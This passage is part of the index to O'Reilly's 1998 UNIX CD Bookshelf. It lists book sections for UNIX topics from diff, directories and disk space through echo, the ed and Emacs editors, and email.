UNIX Power Tools, 24.9. How Much Disk Space?
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: df
examples : UNIX Power Tools, 45.30.4. Using sed
diacritical marks (Eqn) : UNIX in a Nutshell, 16.2.5. Diacritical Marks
dialback script : UNIX Power Tools, 9.26.1. Dialback
dictionary files : UNIX Power Tools, 29.1. The UNIX spell Command
adding to : UNIX Power Tools, 29.5. Adding Words to ispell's Dictionary
diff command
Learning the Korn Shell, 1.8.1. Background I/O
Learning the Korn Shell, 5.1.1. Exit Status and Return
Learning the vi Editor, 7.4.5. ex Scripts Built by diff
UNIX Power Tools, 2.14. motd.diff: Show New Lines in Login Messages
UNIX Power Tools, 28.1. Checking Differences with diff
UNIX Power Tools, 28.3. Context diffs
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
sed & awk, 4.3. Testing and Saving Output
UNIX in a Nutshell, Chapter 2, Reference: diff
(see also bdiff command; cmp command; ediff command; sdiff command)
-c option : UNIX Power Tools, 28.3. Context diffs
-e option
UNIX Power Tools, 28.1. Checking Differences with diff
UNIX Power Tools, 28.9. ex Scripts Built by diff
example : UNIX Power Tools, 33.6. Change Many Files by Editing Just One
-f option : UNIX Power Tools, 16.22. Comparing Two Directory Trees with dircmp
-h option : UNIX Power Tools, 28.7. diff for Very Long Files: bdiff
SCCS utility and : UNIX in a Nutshell, 17.2.4. Recording Changes
-t option : UNIX Power Tools, 28.10. Problems with diff and Tabstops
diff3 script
UNIX Power Tools, 28.2. Comparing Three Different Versions with diff3
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: diff3
diffmk command
UNIX Power Tools, 28.15. Show Changes in a troff File with diffmk
UNIX in a Nutshell, Chapter 2, Reference: diffmk
diffs pseudo-command (sccs) : UNIX in a Nutshell, 17.6.2. Pseudo-commands
dir command (DOS) : (see ls command)
dir command (ftp) : Learning the UNIX Operating System, 4.4.2.4. ftp
dir_path script
UNIX Power Tools, 16.21. Finding All Directories with the Same Name
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
dircmp command
UNIX Power Tools, 16.22. Comparing Two Directory Trees with dircmp
UNIX in a Nutshell, Chapter 2, Reference: dircmp
directly executable programs : Learning the UNIX Operating System, 6.2.1. ps
directories
Learning the UNIX Operating System, 3.1. The UNIX Filesystem
UNIX Power Tools, 23.18. How Making and Deleting Directories Works
!$ sequence and : UNIX Power Tools, 11.3. My Favorite Is !$
. for current directory
Learning the Korn Shell, 1.6.1.3. Changing working directories
Learning the UNIX Operating System, 3.1.8.1. ls
Learning the UNIX Operating System, 4.4.2.1. cp
UNIX Power Tools, 18.4.2. Links to a Directory
.. for parent directory
Learning the Korn Shell, 1.6.1.3. Changing working directories
Learning the UNIX Operating System, 3.1.5.2. Relative pathnames up
Learning the UNIX Operating System, 3.1.8.1. ls
Learning the UNIX Operating System, 4.4.2.1. cp
UNIX Power Tools, 18.4.2. Links to a Directory
absolute pathnames and : UNIX Power Tools, 14.2. Using Relative and Absolute Pathnames
access to : UNIX Power Tools, 1.25. Access to Directories
advantages of : UNIX Power Tools, 4.7. Make More Directories!
archives/backups of
UNIX Power Tools, 20.1. tar in a Nutshell
UNIX Power Tools, 20.8.1. Including Other Directories
automatic setup of : UNIX Power Tools, 14.14. Automatic Setup When You Enter/Exit a Directory
CD-ROM packages : UNIX Power Tools, 52.5.3.1. Directory Structure
changing : UNIX Power Tools, 14.5. Saving Time When You Change Directories: cdpath
comparing contents : UNIX in a Nutshell, Chapter 2, Reference: dircmp
copying/moving files to : UNIX Power Tools, 21.12. Copying Files to a Directory
creating
Learning the UNIX Operating System, 4.4.1. Creating Directories
UNIX Power Tools, 4.8. Making Directories Made Easier
UNIX in a Nutshell, Chapter 2, Reference: mkdir
current
UNIX Power Tools, 10.9. Shell Functions
UNIX Power Tools, 14.3. What Good Is a Current Directory?
UNIX Power Tools, 14.4. How Does UNIX Find Your Current Directory?
UNIX Power Tools, 14.13. Which Directory Am I in, Really?
UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
(see also directories, navigating)
deleting
Learning the UNIX Operating System, 4.4.5. Removing Files and Directories
UNIX Power Tools, 23.17. Problems Deleting Directories
UNIX Power Tools, 23.18. How Making and Deleting Directories Works
UNIX Power Tools, 50.12. Common UNIX Error Messages
UNIX in a Nutshell, Chapter 2, Reference: rmdir
directory stack
UNIX Power Tools, 14.6. The Shells' pushd and popd Commands
UNIX Power Tools, 47.5. Using C Shell Arrays
emacs hacks : UNIX Power Tools, 4.4. Directories for Emacs Hacks
file representation in : UNIX Power Tools, 18.2. What's Really in a Directory
files in : UNIX Power Tools, 1.19. The Tree Structure of the Filesystem
finding : UNIX Power Tools, 14.10. Variables Help You Find Directories and Files
hierarchy of (tree)
Learning the UNIX Operating System, 3.1.3. The Directory Tree
Learning the UNIX Operating System, 3.1.7. Files in the Directory Tree
UNIX Power Tools, 16.19. stree: Simple Directory Tree
UNIX Power Tools, 16.22. Comparing Two Directory Trees with dircmp
UNIX Power Tools, 16.23. Comparing Filenames in Two Directory Trees
UNIX Power Tools, 52.5.3.1. Directory Structure
archives/backups of : UNIX Power Tools, 20.1. tar in a Nutshell
changing permissions of : UNIX Power Tools, 22.7. Using chmod to Change File Permission
compressing
UNIX Power Tools, 24.8. Save Space: tar and compress a Directory Tree
UNIX Power Tools, 24.12. Compressing a Directory Tree: Fine-Tuning
copying : UNIX Power Tools, 18.15. Copying Directory Trees with cp -r
duplicating : UNIX Power Tools, 17.17. Duplicating a Directory Tree (No Pathnames with find {} Operator)
find command and : UNIX Power Tools, 17.2. Delving Through a Deep Directory Tree
grep command and : UNIX Power Tools, 17.20. grepping a Directory Tree (and a Gotcha)
searching
UNIX Power Tools, 17.2. Delving Through a Deep Directory Tree
UNIX Power Tools, 17.24. Skipping Some Parts of a Tree in find (A More Selective -prune)
home
Learning the Korn Shell, 1.6.1.1. The working directory
Learning the UNIX Operating System, 3.1.1. Your Home Directory
UNIX Power Tools, 1.20. Your Home Directory
UNIX Power Tools, 4.1. What? Me, Organized?
UNIX Power Tools, 14.11. Finding (Anyone's) Home Directory, Quickly
UNIX Power Tools, 6.3. Predefined Environment Variables
linking
UNIX Power Tools, 18.4.2. Links to a Directory
UNIX Power Tools, 18.7. Linking Directories
Linux protection for : Learning the UNIX Operating System, 3.3.3. More Protection Under Linux
listing, listing contents of
Learning the UNIX Operating System, 3.1.8. Listing Files
UNIX Power Tools, 16.8. The ls -d Option
UNIX Power Tools, 21.10. Keep a Directory Listing at Top of the Screen: dirtop
matching with wildcards : UNIX Power Tools, 15.10. Wildcards that Match Only Directories
moving : UNIX in a Nutshell, Chapter 2, Reference: mv
names of
Learning the UNIX Operating System, 4.2. File and Directory Names
UNIX Power Tools, 16.21. Finding All Directories with the Same Name
UNIX Power Tools, 45.18.1. Introduction to basename and dirname
UNIX in a Nutshell, Chapter 2, Reference: mv
navigating
Learning the UNIX Operating System, 3.1.6. Changing Your Working Directory
UNIX in a Nutshell, Chapter 4, Reference: cd
news, accessing : UNIX in a Nutshell, Chapter 2, Reference: news
notification of change to : UNIX Power Tools, 21.8.1.3. Watching Directories
ownership
UNIX Power Tools, 22.2.1. User, Group, and World
UNIX Power Tools, 22.3. Who Will Own a New File?
pathnames
Learning the UNIX Operating System, 3.1.3. The Directory Tree
UNIX Power Tools, 16.17. Getting Directory Name from a File's Pathname
permissions
Learning the UNIX Operating System, 3.1.8.1. ls
Learning the UNIX Operating System, 3.3.1. Directory Access Permissions
UNIX Power Tools, 1.25. Access to Directories
UNIX Power Tools, 21.14. Automatically Appending the Date to a Filename
UNIX Power Tools, 22.2. Tutorial on File and Directory Permissions
(see also permissions)
umask command and : Learning the UNIX Operating System, 3.6. Customizing Your Account
printing files to : UNIX Power Tools, 9.5. Build Strings with { }
printing names/pathnames of
UNIX in a Nutshell, Chapter 2, Reference: dirname
UNIX in a Nutshell, Chapter 2, Reference: pwd
private
UNIX Power Tools, 4.5. Private (Personal) Directories
UNIX Power Tools, 4.7. Make More Directories!
remotely mounted : UNIX Power Tools, 5.6. Checklist: Terminal Hangs When I Log In
root
Learning the Korn Shell, 1.6.1. Directories
Learning the UNIX Operating System, 3.1.3. The Directory Tree
UNIX Power Tools, 1.19. The Tree Structure of the Filesystem
UNIX Power Tools, 1.21. Making Pathnames
installation process and : UNIX Power Tools, 52.8.2.6. An Easy Build
safer file deletion in : UNIX Power Tools, 23.7. Safer File Deletion in Some Directories
in search path : UNIX Power Tools, 8.7. Setting Your Search Path
subdirectories : UNIX Power Tools, 1.20. Your Home Directory
creating : UNIX Power Tools, 9.5. Build Strings with { }
links in : UNIX Power Tools, 18.4.2. Links to a Directory
listing with ls -R : UNIX Power Tools, 16.4. List All Subdirectories with ls -R
on tape drives : UNIX Power Tools, 20.4.1. Restoring a Few Files
temporary files : (see /tmp directory)
temporary changes in : UNIX Power Tools, 13.7.2. Temporary Change of Directory and Environment
trimming : UNIX Power Tools, 24.15. Trimming a Directory
working : Learning the UNIX Operating System, 3.1.2. Your Working Directory
"directory not empty" error message : UNIX Power Tools, 50.12. Common UNIX Error Messages
dirname command
Learning the Korn Shell, 4.3.3. Pattern-matching Operators
UNIX Power Tools, 16.17. Getting Directory Name from a File's Pathname
UNIX Power Tools, 45.18. Using basename and dirname
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: dirname
bugs in : UNIX Power Tools, 45.18.1. Introduction to basename and dirname
examples : UNIX Power Tools, 45.18. Using basename and dirname
loops using : UNIX Power Tools, 45.18.2. Use with Loops
dirs command
UNIX Power Tools, 14.6. The Shells' pushd and popd Commands
UNIX Power Tools, 14.13. Which Directory Am I in, Really?
UNIX in a Nutshell, Chapter 5, Reference: dirs
output in prompt setting : UNIX Power Tools, 7.11. dirs in Your Prompt: Better than $cwd
dirtop script
UNIX Power Tools, 21.10. Keep a Directory Listing at Top of the Screen: dirtop
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
dis command : UNIX in a Nutshell, Chapter 2, Reference: dis
disassembling object files : UNIX in a Nutshell, Chapter 2, Reference: dis
disk bandwidth issues : UNIX Power Tools, 39.12.3. The I/O Subsystem
disk space
compressing files : (see compressing/uncompressing files)
emptying files and : UNIX Power Tools, 24.1. Instead of Removing a File, Empty It
hard links vs. symbolic links : UNIX Power Tools, 14.14. Automatic Setup When You Enter/Exit a Directory
links and : UNIX Power Tools, 24.4. Save Space with a Link
log files and : UNIX Power Tools, 24.2. Save Space with Bit Bucket Log Files and Mailboxes
memory contention : UNIX Power Tools, 39.12.2. The Memory Subsystem
quotas
UNIX Power Tools, 22.20. Why Can't You Change File Ownership Under BSD UNIX?
UNIX Power Tools, 24.17. Disk Quotas
reports on
UNIX Power Tools, 24.9. How Much Disk Space?
UNIX in a Nutshell, Chapter 2, Reference: cpio
UNIX in a Nutshell, Chapter 2, Reference: df
UNIX in a Nutshell, Chapter 2, Reference: du
strip command and : UNIX Power Tools, 24.13. Save Space in Executable Files with strip
trimming directories and : UNIX Power Tools, 24.15. Trimming a Directory
unlinking open files and : UNIX Power Tools, 24.3. Unlinking Open Files Isn't a Good Idea
vtree program and : UNIX Power Tools, 16.20. The vtree Visual Directory Tree Programs
display command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: display
DISPLAY environment variable
UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
UNIX Power Tools, 6.3. Predefined Environment Variables
display, vis compared to : UNIX Power Tools, 51.7. When You Get Impatient
displaying
calendars : UNIX in a Nutshell, Chapter 2, Reference: calendar
escape sequences : UNIX in a Nutshell, Chapter 2, Reference: col
files by screen (paging) : (see paging and pagers)
line(s) (ex editor) : Learning the vi Editor, 5.1. ex Commands
logged-in users : UNIX in a Nutshell, Chapter 2, Reference: who
man pages
UNIX in a Nutshell, Chapter 2, Reference: man
UNIX in a Nutshell, Chapter 2, Reference: whatis
reverse linefeeds : UNIX in a Nutshell, Chapter 2, Reference: col
system status information : UNIX in a Nutshell, Chapter 2, Reference: who
vi commands
current line number (^G)
Learning the vi Editor, 3.4. Movement by Line Number
Learning the vi Editor, 3.4.1. The G (Go To) Command if
line numbers (:set nu)
Learning the vi Editor, 2.2.3. Movement Within a Line
Learning the vi Editor, 3.4. Movement by Line Number
Learning the vi Editor, 3.4.1. The G (Go To) Command if
ditroff program
UNIX Power Tools, 43.13. The Text Formatters nroff, troff, ditroff, ...
UNIX in a Nutshell, 12.1. Introduction
(see also troff program)
division (/) operator : sed & awk, 7.6. Expressions
do loops
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
sed & awk, 8.2.2. Do Loop
UNIX in a Nutshell, Chapter 11, Reference: do
doctor program : UNIX Power Tools, 32.13. An Absurd Amusement
documentation : (see help and resources; manual pages)
documents, comparing : UNIX in a Nutshell, Chapter 2, Reference: diffmk
dollar sign : (see $)
done command
UNIX Power Tools, 50.3. apropos on Systems Without apropos
UNIX in a Nutshell, Chapter 4, Reference: done
DOS versions of awk : sed & awk, DOS Versions
DOS, accessing with UNIX : Learning the UNIX Operating System, 4.4.6. Files on Other Operating Systems
dot : (see .)
dot files
UNIX Power Tools, 15.5. Matching All "Dot Files" with Wildcards
UNIX Power Tools, 16.11. Showing Hidden Files with ls -A and -a
dot-dot (..) directory shortcut
double quotes : (see ")
double-spacing text : UNIX Power Tools, 25.12. Double Space, Triple Space ...
doublespace script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
Dougherty, Dale : UNIX Power Tools, 1.7. Power Grows on You
down command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: down
download command : UNIX in a Nutshell, Chapter 2, Reference: download
dpost command : UNIX in a Nutshell, Chapter 2, Reference: dpost
dragging the mouse : Learning the UNIX Operating System, 2.4.2. Pointing, Clicking, and Dragging
du command
UNIX Power Tools, 24.9. How Much Disk Space?
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: du
dumb terminal
Learning the vi Editor, 2.3.1. Inserting New Text
Learning the vi Editor, 2.3.5.2. Lines
dump command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: dump
dump utility : UNIX Power Tools, 1.23. File Access Permissions
dumps, octal : UNIX in a Nutshell, Chapter 2, Reference: od
dup, file descriptors : UNIX Power Tools, 47.2.1.1. Writing Files
duplicate lines, deleting
UNIX Power Tools, 35.20. Quick Reference: uniq
UNIX Power Tools, 36.6. Miscellaneous sort Hints
DVI format documentation : UNIX Power Tools, 52.5.3.4. Installing a Single Program
dynamic regular expressions : sed & awk, 11.1.5. Faking Dynamic Regular Expressions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: E

e (constant) : sed & awk, 9.1.1. Trigonometric Functions
-e option (sed)
sed & awk, 2.3.1. Specifying Simple Instructions
sed & awk, 2.3.2.3. Mixing options (POSIX)
EBCDIC
Learning the Korn Shell, 1.6.2. Filenames and Wildcards
UNIX Power Tools, 35.12. Converting Between ASCII and EBCDIC
echo command
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, 1.4. Getting the Korn Shell
Learning the Korn Shell, 3.4. Shell Variables
Learning the Korn Shell, 7.2.1. print
Learning the Korn Shell, A.1. The Bourne Shell
UNIX Power Tools, 6.8. Shell Variables
UNIX in a Nutshell, Chapter 2, Reference: echo
UNIX in a Nutshell, Chapter 4, Reference: echo
UNIX in a Nutshell, Chapter 5, Reference: echo
in bash cells : UNIX Power Tools, 46.10. A Portable echo Command
in Bourne shell scripts : UNIX Power Tools, 44.12. Trapping Exits Caused by Interrupts
in C shell : UNIX Power Tools, 47.2.1.1. Writing Files
combining two : UNIX Power Tools, 45.30.2. Using echo with awk, colrm, or cut
command-line options : UNIX Power Tools, 8.6. Output Command-Line Arguments
control characters used with
UNIX Power Tools, 45.35.1. With echo
UNIX Power Tools, 45.35.2. With tr and echo
creating error messages : UNIX Power Tools, 8.6.2. Making Error Messages
debugging using : UNIX Power Tools, 46.2. Quoting Trouble? Think, Then Use echo
-E, -e options : UNIX Power Tools, 46.10. A Portable echo Command
escape sequences interpreted by : UNIX Power Tools, 46.10. A Portable echo Command
examples
UNIX Power Tools, 44.5. Test String Values with Bourne Shell case
UNIX Power Tools, 44.12. Trapping Exits Caused by Interrupts
UNIX Power Tools, 44.18. Standard Command-Line Parsing
UNIX Power Tools, 45.27. Turn Off echo for "Secret" Answers
UNIX Power Tools, 47.2.1.1. Writing Files
UNIX Power Tools, 47.2.4. Quoting
external versions of : UNIX Power Tools, 8.11. Which One Will bash Use?
interpreting octal numbers : UNIX Power Tools, 45.35.1. With echo
-n option : UNIX Power Tools, 46.10. A Portable echo Command
sending escape sequences : UNIX Power Tools, 41.9. Commands to Adjust Your Terminal
shell scripts using : UNIX Power Tools, 45.27. Turn Off echo for "Secret" Answers
showing values of variables : UNIX Power Tools, 6.1. What Environment Variables Are Good For
turning off : UNIX Power Tools, 45.27. Turn Off echo for "Secret" Answers
versions of
Learning the Korn Shell, 7.2.1. print
UNIX Power Tools, 46.10. A Portable echo Command
writing special escape sequences : UNIX Power Tools, 7.6. Session Information in Your Terminal's Status Line
echo flag, turning off : UNIX Power Tools, 41.2.2. Handling Most Characters
echo shell variable
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 8.17. verbose and echo Variables Show Quoting
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
echoing, smart : UNIX Power Tools, 41.5. Why Some Systems Backspace over Prompts
ed editor
Learning the Korn Shell, 3.5.1. Environment Variables
Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
Learning the Korn Shell, 7.1.1. Here-documents
Learning the Korn Shell, 9. Debugging Shell Programs
sed & awk, 2. Understanding Basic Operations
UNIX in a Nutshell, Chapter 2, Reference: ed
diff command and : UNIX Power Tools, 28.9. ex Scripts Built by diff
file size limits : UNIX Power Tools, 33.8. Batch Editing Gotcha: Editors Bomb on Big Files
no matches : UNIX Power Tools, 33.7. ed/ex Batch Edits: Avoid Errors When No Match
ediff script
UNIX Power Tools, 28.8. More Friendly diff Output
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
edit command : UNIX in a Nutshell, Chapter 2, Reference: edit
edit command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: edit
edit command (ex) : UNIX in a Nutshell, Chapter 9, Reference: edit
edit command (SCCS)
UNIX Power Tools, 20.13. SCCS Basics
UNIX in a Nutshell, 17.6.2. Pseudo-commands
editing
bfs command : UNIX in a Nutshell, Chapter 2, Reference: bfs
combining with movement (vi) : Learning the vi Editor, 4.1. More Command Combinations
compressed files : UNIX Power Tools, 24.11. Edit Compressed Files with zvi, zex, and zed
ex commands for : (see ex commands; ex editor)
with file comparisons : UNIX Power Tools, 28.9. ex Scripts Built by diff
files, restrictions on : UNIX in a Nutshell, Chapter 2, Reference: red
paired item checking : UNIX Power Tools, 29.9. Looking for Closure
pipelined edits : sed & awk, 4.4.4. Edits To Go
with power tools : UNIX Power Tools, 1.6. Power Tools for Editing
sed commands : (see sed editor)
spell checking : (see spell checking)
vi commands for : (see vi commands)
EDITOR variable
Learning the Korn Shell, 3.4.2.1. Editing mode variables
Learning the Korn Shell, 3.5.1. Environment Variables
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX in a Nutshell, 4.3.3. Other Shell Variables
editors
ed : (see ed editor)
Emacs : (see Emacs editor)
ex : (see ex editor; ex editor)
patch program : (see patch program)
qsubst program
UNIX Power Tools, 33.10. Quick Globals from the Command Line with qsubst
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
scripting line editors : UNIX Power Tools, 33.1. Why Line Editors Aren't Dinosaurs
sed (stream editor) : (see sed editor)
vi : (see vi commands; vi editor)
egrep command
Learning the Korn Shell, 4.3.2. Patterns and Regular Expressions
Learning the Korn Shell, 4.3.2.1. Regular expression basics
Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
UNIX Power Tools, 17.21. lookfor: Which File Has that Word?
UNIX Power Tools, 26.4.11. Extended Regular Expressions
UNIX Power Tools, 27.5. Extended Searching for Text with egrep
UNIX Power Tools, 27.9. New greps Are Much Faster
UNIX Power Tools, 27.16. Faking Case-Insensitive Searches
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
sed & awk, 3. Understanding Regular Expression Syntax
UNIX in a Nutshell, Chapter 2, Reference: egrep
| (vertical bar) : UNIX Power Tools, 27.5. Extended Searching for Text with egrep
examples : UNIX Power Tools, 50.3. apropos on Systems Without apropos
expressions
UNIX Power Tools, 27.5. Extended Searching for Text with egrep
UNIX Power Tools, 48.4. Automatic Reminders and More: calendar
UNIX Power Tools, 48.2. Online Phone and Address Lists
-f option : UNIX Power Tools, 27.7. grepping for a List of Patterns
-i option : UNIX Power Tools, 50.6. Searching Online Manual Pages
pattern-matching metacharacters : UNIX in a Nutshell, 6.2. Metacharacters, Listed by UNIX Program
picking the processes to kill : UNIX Power Tools, 38.13. Interactively Kill Processes Matching a Pattern
searching manual pages : UNIX Power Tools, 50.6. Searching Online Manual Pages
eight-bit filenames : UNIX Power Tools, 23.15. Using unlink to Remove a File with a Strange Name
elapsed time
UNIX Power Tools, 39.2. Timing Programs
UNIX Power Tools, 39.5. Why Is the System So Slow?
ELF files, converting to COFF : UNIX in a Nutshell, Chapter 2, Reference: cof2elf
elif : (see if)
elookfor script
UNIX Power Tools, 17.21. lookfor: Which File Has that Word?
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
else statement : (see if statements)
em-dashes : UNIX Power Tools, 43.21. Preprocessing troff Input with sed
emacs editor
Learning the Korn Shell, 2. Command-line Editing
Learning the Korn Shell, 2.3. Emacs Editing Mode
Learning the Korn Shell, 2.3.1. Basic Commands
Learning the Korn Shell, 2.3.5. Filename Completion and Expansion
Learning the Korn Shell, 2.3.6. Miscellaneous Commands
Learning the Korn Shell, 2.4.6. Filename Completion
Learning the Korn Shell, 2.6. Finger Habits
Learning the Korn Shell, 3.1. The .profile File
Learning the Korn Shell, 3.4.2.4. Terminal Types
Learning the Korn Shell, 3.5.1. Environment Variables
Learning the Korn Shell, 4.3.2. Patterns and Regular Expressions
Learning the Korn Shell, 4.3.2.1. Regular expression basics
Learning the Korn Shell, 4.4. Command Substitution
Learning the Korn Shell, 9. Debugging Shell Programs
Learning the Korn Shell, A.4. pdksh
Learning the UNIX Operating System, 4.1. Methods of Creating Files
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, 7. The Emacs Editor
abbreviations : UNIX Power Tools, 32.11. Using Word Abbreviation Mode
advantages over other editors : UNIX Power Tools, 32.1. Emacs: The Other Editor
auto-save file : UNIX Power Tools, 32.4. Backup and Auto-Save Files
backup file : UNIX Power Tools, 32.4. Backup and Auto-Save Files
C shell's PWD and : UNIX Power Tools, 32.9. Unset PWD Before Using Emacs
command completion : UNIX Power Tools, 32.6. Command Completion
commands : Learning the Korn Shell, B.7. Emacs Mode Commands
directory for : UNIX Power Tools, 4.4. Directories for Emacs Hacks
global initialization file : UNIX Power Tools, 32.3. Customizations and How to Avoid Them
GNU emacs
Learning the Korn Shell, 2.3.6. Miscellaneous Commands
Learning the Korn Shell, 3.1. The .profile File
Learning the Korn Shell, A.5. bash
Gosling (Unipress) emacs : Learning the Korn Shell, 2.3.6. Miscellaneous Commands
insert mode versus overwrite : UNIX Power Tools, 32.5. Putting Emacs in Overwrite Mode
key mapping : UNIX Power Tools, 32.7. Mike's Favorite Time Savers
mouse-based editors versus : UNIX Power Tools, 32.2. Emacs Features: A Laundry List
quoting control characters : UNIX Power Tools, 32.10. Inserting Binary Characters into Files
pattern-matching metacharacters : UNIX in a Nutshell, 6.2. Metacharacters, Listed by UNIX Program
search commands : Learning the Korn Shell, 2.3.4. Moving Around in the History File
search customizations : UNIX Power Tools, 32.8. Rational Searches
temporary files generated by : UNIX Power Tools, 14.11. Finding (Anyone's) Home Directory, Quickly
x-on/x-off flow control : UNIX Power Tools, 32.12. Getting Around Emacs Flow Control Problems
.emacs file
UNIX Power Tools, 32.3. Customizations and How to Avoid Them
UNIX Power Tools, 32.11.2. Making Word Abbreviations Part of Your Startup
emacs mode command-line editing
Learning the Korn Shell, Korn Shell Versions
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, 2.3. Emacs Editing Mode
Learning the Korn Shell, 7.2.1.2. Options to print
Learning the Korn Shell, 10.2.3. Types of Global Customization
Learning the Korn Shell, A.4. pdksh
UNIX Power Tools, 11.13. Shell Command-Line Editing
basic commands : Learning the Korn Shell, 2.3.1. Basic Commands
case-changing commands : Learning the Korn Shell, 2.3.6. Miscellaneous Commands
enabling : Learning the Korn Shell, 2.1. Enabling Command-line Editing
exchanging point and mark : Learning the Korn Shell, 2.3.6. Miscellaneous Commands
filename completion/expansion : Learning the Korn Shell, 2.3.5. Filename Completion and Expansion
history file commands : Learning the Korn Shell, 2.3.4. Moving Around in the History File
key customization in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
keyboard shortcuts with aliases : Learning the Korn Shell, 2.3.7. Keyboard Shortcuts with Aliases
line commands : Learning the Korn Shell, 2.3.3. Line Commands
mark : Learning the Korn Shell, 2.3.6. Miscellaneous Commands
point (dot) : Learning the Korn Shell, 2.3.1. Basic Commands
repeat counts : Learning the Korn Shell, 2.3.6. Miscellaneous Commands
searching the history file : Learning the Korn Shell, 2.3.4. Moving Around in the History File
terminal requirements : Learning the Korn Shell, 2.3.1. Basic Commands
transpose characters command : Learning the Korn Shell, 2.3.6. Miscellaneous Commands
useful command subset : Learning the Korn Shell, 2.6. Finger Habits
word commands : Learning the Korn Shell, 2.3.2. Word Commands
in workalike shells : Learning the Korn Shell, A.6. Workalikes on PC Platforms
.emacs_ml file
UNIX Power Tools, 32.7. Mike's Favorite Time Savers
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
email (electronic mail)
Learning the Korn Shell, 1.5.1. Commands, Arguments, and Options
Learning the Korn Shell, 1.7.1. Standard I/O
Learning the Korn Shell, 3.1. The .profile File
Learning the Korn Shell, 3.4.2.2. Mail Variables
Learning the Korn Shell, 3.5.1. Environment Variables
Learning the Korn Shell, 4.4. Command Substitution
Learning the Korn Shell, 7.1.1. Here-documents
Learning the Korn Shell, 7.2.2.5. Options to read
Learning the Korn Shell, 8.4.1. Traps and Functions
Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
Learning the Korn Shell, 8.4.4. Resetting Traps
Learning the Korn Shell, A.1. The Bourne Shell
Learning the UNIX Operating System, 3.4. Electronic Mail
aliases, displaying addresses for : UNIX in a Nutshell, Chapter 2, Reference: mailalias
dead.letter : Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
mail command
UNIX Power Tools, 1.33. UNIX Networking and Communications
UNIX in a Nutshell, Chapter 2, Reference: mail
MAIL variable
Learning the Korn Shell, 3.4.2.2. Mail Variables
Learning the Korn Shell, 3.5.1. Environment Variables
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX in a Nutshell, 4.3.3. Other Shell Variables
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
UNIX in a Nutshell, 5.3.5. Environment Variables
as array : UNIX Power Tools, 47.5. Using C Shell Arrays
mail.base program : UNIX Power Tools, 48.10. Working with Names and Addresses
mailalias command : UNIX in a Nutshell, Chapter 2, Reference: mailalias
mailavg script (example) : sed & awk, 13.4. mailavg - Check Size of Mailboxes
mailboxes, disk space and : UNIX Power Tools, 24.2. Save Space with Bit Bucket Log Files and Mailboxes
MAILCHECK variable
Learning the Korn Shell, 3.4.2.2. Mail Variables
UNIX Power Tools, 21.8.2. For Bourne Shell Users
UNIX in a Nutshell, 4.3.3. Other Shell Variables
MAILPATH variable
Learning the Korn Shell, 3.4.2.2. Mail Variables
Learning the Korn Shell, 3.4.2.5. Command Search Path
Learning the Korn Shell, 3.5.1. Environment Variables
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
Learning the Korn Shell, A.6. Workalikes on PC Platforms
UNIX Power Tools, 21.8.2. For Bourne Shell Users
UNIX in a Nutshell, 4.3.3. Other Shell Variables
.mailrc : Learning the Korn Shell, 7.1. I/O Redirectors
mailx command : UNIX in a Nutshell, Chapter 2, Reference: mailx
message headers : Learning the UNIX Operating System, 3.4.2. Reading Your Mail
multiple mailboxes : UNIX Power Tools, 21.8.1.1. Multiple Mailboxes
notification of : UNIX Power Tools, 21.8. The MAILCHECK and mail Variables Check More than Mail
sending command output : Learning the UNIX Operating System, 5.2.2. sort
sending files : Learning the UNIX Operating System, 6.1. Running a Command in the Background
email messages
automatic replies to : UNIX in a Nutshell, Chapter 2, Reference: vacation
dead.letter : Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
database files for : UNIX in a Nutshell, Chapter 2, Reference: gencat
encoding binary files for : UNIX in a Nutshell, Chapter 2, Reference: uuencode
internationalizing : UNIX in a Nutshell, Chapter 2, Reference: exstr
new, notifying user of : UNIX in a Nutshell, Chapter 2, Reference: notify
queues, removing : UNIX in a Nutshell, Chapter 2, Reference: ipcrm
reading
UNIX in a Nutshell, Chapter 2, Reference: mail
UNIX in a Nutshell, Chapter 2, Reference: mailx
